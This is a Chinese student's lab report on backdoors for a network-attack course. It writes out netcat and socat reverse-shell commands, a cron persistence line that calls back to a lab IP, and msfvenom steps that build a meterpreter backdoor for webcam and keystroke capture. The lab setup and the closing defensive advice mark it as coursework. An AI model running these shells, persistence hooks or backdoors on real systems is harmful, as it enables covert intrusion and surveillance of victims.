20154307 《网络对抗技术》实验二 后门原理与实践

20154307 《网络对抗技术》实验二 后门原理与实践#

一、基础问题回答##

(1)例举你能想到的一个后门进入到你系统中的可能方式？

答：下载盗版软件或者盗版电影的时候。

(2)例举你知道的后门如何启动起来(win及linux)的方式？

答：linux的cron启动

(3)Meterpreter有哪些给你映像深刻的功能？

答：怎么说，摄屏这个太吊了，我以后要用胶布把这个摄像头堵住。

(4)如何发现自己有系统有没有被安装后门？

答：杀毒软件吧，直接就把后门的程序杀了。

二、实验内容##

1.使用netcat获取主机操作Shell，cron启动###

（1） Win获得Linux Shell

首先，我们用 ipconfig 查看win的ip地址

用ncat监听本机（win）的4307端口

（kali端）用nc kali的ip 端口 -e /bin/sh反弹连接win

然后，在win端就能进行对linux的操作，例如，ls，或者是看ip地址，也为接下来的实验做铺垫

win端ip：192.168.120.132

kali端ip：192.168.120.129

（2） Linux获得Win Shell

（kali端）敲入nc -l -p 端口号打开监听

然后（win端）敲入c:\your_nc_dir>ncat.exe -e cmd.exe linux的ip 端口号，对linux端进行反弹连接

（kali端）输入win的操作即可对win主机进行攻击

（3）使用nc传输数据

win下监听端口4307

（kali端）输入nc linux的ip 端口号，连接win的端口

效果如下：

2.使用socat获取主机操作Shell, 任务计划启动

在win下监听4307的端口

回到linux端，通过crontab -e，选3，进入vim编辑界面，进入插入模式，在最后一行敲入36 * * * * /bin/netcat 192.168.120.132 4307 -e /bin/sh，即在每个点的36分反弹连接win的4307端口，当时正好是34分，所以我输入了36,可以很快看到结果。修改后存盘退出

在win端输入linux的命令，一开始命令不会马上出来，到了你设置的时间点以后，命令和执行结果都会马上出来。

效果如下：

3.使用MSF meterpreter 生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell

刚开始用socat时，这是啥？做完实验后，哇这个好叼

在Windows系统下，打开控制面板->管理工具->任务计划程序，创建任务，填写任务名称后，新建一个触发器：

在操作->程序或脚本中选择socat.exe文件的路径，在添加参数一栏填写tcp-listen:端口号 exec:cmd.exe,pty,stderr

设置完成后，锁定win用户（win+L），然后进入win，这时该触发器是运行的

在kali下输入socat - tcp:win的ip:端口号，发现获得了cmd.shell

4.使用MSF meterpreter 生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权

kali端输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=kali的ip LPORT=端口号 -f exe > 20154307_backdoor.exe，生成后门程序。（注意此时应该管理win的杀毒软件防火墙等）

在win端和linux端分别输入

Win7：ncat.exe -l > 20154307_backdoor.exe

kali:nc win的ip 端口号 < 20154307_backdoor.exe

在Kali上使用msfconsole指令进入控制台，使用监听模块，设置payload，设置反弹回连的IP和端口

设置完成后，执行监听，打开win上的后门，linux上显示攻击成功

以下是攻击结果###

如此一来，课堂上讲完的实验就做完了

实验小结##

这次的实验非常有意思，让我也体验了一把当黑客的感觉，后们的攻击实在太厉害了，在学习后门攻击的同时我们也应该学会防范这些攻击，保护好个人隐私，同时，平时用不到的端口该关闭也要关闭，下载软件、电影、音乐的时候还是通过正规渠道比较好，不然黑客下一个攻击的就是你